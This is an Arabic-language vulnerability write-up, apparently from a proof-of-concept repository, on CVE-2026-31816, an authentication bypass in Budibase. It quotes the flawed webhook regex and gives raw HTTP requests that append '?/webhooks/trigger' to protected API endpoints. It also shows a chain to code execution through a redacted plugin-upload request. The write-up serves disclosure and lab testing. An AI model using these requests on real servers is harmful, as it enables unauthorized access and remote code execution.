
CVE-2026-31816 - تجاوز المصادقة في Budibase إلى تنفيذ التعليمات البرمجية عن بُعد
CVE-2026-31816 هي ثغرة أمنية حرجة في تجاوز المصادقة والتفويض تؤثر على Budibase.
توجد الثغرة في البرمجية الوسيطة للتفويض من جانب الخادم المسؤولة عن حماية نقاط نهاية API. تحاول Budibase تحديد نقاط نهاية webhook الشرعية باستخدام تعبير نمطي غير مثبّت (unanchored regular expression) وتقيّم هذا التعبير مقابل ctx.request.url الخاص بـ Koa.
ولأن ctx.request.url يحتوي على سلسلة الاستعلام (query string)، يمكن للمهاجم حقن مسار يبدو كمسار webhook داخل مكوّن الاستعلام لطلب API لا علاقة له بذلك.
على سبيل المثال:
/api/integrations?/webhooks/trigger
هذا الطلب لا يستهدف في الواقع نقطة نهاية webhook. ومع ذلك، يمكن للفحص الهشّ أن يفسّر /webhooks/trigger كدليل على أن الطلب هو طلب webhook شرعي، ويسمح بمواصلة التنفيذ دون الفحوصات المعتادة للمصادقة والتفويض.
تصف NVD المشكلة بأنها تسمح لمهاجم بعيد غير مصادَق تمامًا بالوصول إلى نقاط نهاية API من جانب الخادم عبر إلحاق نمط مسار webhook بعنوان URL.
| Field | Value |
|---|---|
| CVE | CVE-2026-31816 |
| Vendor | Budibase |
| Product | Budibase |
| Affected versions | <= 3.31.4 |
| Severity | Critical |
| CVSS v3.1 | 9.1 |
| CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| Attack Vector | Network |
| Privileges Required | None |
| User Interaction | None |
| Authentication Required | No |
تسجّل NVD إصدارات Budibase حتى 3.31.4 كإصدارات متأثرة وتمنحها درجة 9.1 وفق معيار CVSS 3.1.
يتركّز المنطق الهشّ حول عملية كشف webhook التي تتم قبل التفويض الطبيعي.
توثّق النشرة الأمنية تعليمات برمجية مكافئة من الناحية المفاهيمية لما يلي:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
تكمن المشكلة في الجمع بين سلوكين:
ctx.request.url يحتوي على سلسلة الاستعلام.وهذا يعني أن التعبير لا يحتاج إلى مطابقة مسار الطلب الفعلي.
طلب مثل:
/api/some/protected/endpoint?/webhooks/trigger
لا يزال يحتوي على السلسلة:
/webhooks/trigger
داخل عنوان URL الذي يتم اختباره.
بعد ذلك، تعامل البرمجية الوسيطة للتفويض الطلبَ كطلب webhook وتصل إلى نقطة النهاية دون تنفيذ تدفق التفويض الطبيعي.
تحدد النشرة الأمنية من Budibase هذا بوضوح كونه الخلل الأساسي، وتشير إلى أن التجاوز يتخطّى المصادقة والتفويض وفحوصات الأدوار وحماية CSRF.
من المتوقع أن يمر الطلب العادي إلى نقطة نهاية API محمية عبر طبقة المصادقة.
على سبيل المثال:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
يمكن بدلًا من ذلك الوصول إلى نسخة هشّة باستخدام نمط سلسلة الاستعلام الخاص بـ webhook:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
الجزء المهم هو:
?/webhooks/trigger
نقطة النهاية نفسها لم تتغير:
/api/integrations
تم تعديل سلسلة الاستعلام فقط.
توضح النشرة الأمنية العامة من Budibase هذه التقنية تحديدًا ضد /api/integrations وعدة نقاط نهاية أخرى من جانب الخادم.
من الطرق الآمنة للتحقق من تجاوز المصادقة في بيئة مختبرية خاضعة للتحكم مقارنة طلب عادي مع النسخة ذات استعلام webhook.
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
يمكن للخادم الهشّ معالجة الطلب الثاني دون فحوصات المصادقة التي تحمي نقطة النهاية عادةً.
يستخدم إثبات مفهوم منشور بشكل مشابه:
/api/integrations?/webhooks/trigger
كفحص بسيط للثغرة.
يوضح ما يلي بنية طلب API مصادَق يتم تحويله إلى طلب غير مصادَق بإضافة نمط webhook.
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
توثّق النشرة الأمنية الرسمية من Budibase نقطة النهاية هذه كأحد أسطح API المتأثرة.
تشمل نقاط النهاية الأخرى من جانب الخادم الموثّقة بأنها قابلة للوصول عبر الخلل نفسه:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
الملاحظة الأساسية هي أن الثغرة غير مرتبطة بمورد تطبيق معيّن. فالبرمجية الوسيطة للتفويض المتأثرة تقع أمام مجموعة واسعة من واجهات API من جانب الخادم.
يمكن أن يصبح تجاوز المصادقة أكثر خطورة بكثير عند دمجه مع API حسّاس قادر على قبول وظائف يتحكم فيها المهاجم.
يقوم إثبات المفهوم في هذا المستودع بربط الثغرة على النحو التالي:
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution
/api/integrations، ثم يبني أرشيف إضافة Budibase ويُرسله عبر /api/plugin/upload.بمجرد تجاوز التفويض، يتبع طلب رفع الإضافة تنسيق الرفع متعدد الأجزاء (multipart upload) المعتاد، مع إلحاق استعلام webhook الهشّ بعنوان URL.
تمثيل منقّح هو:
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--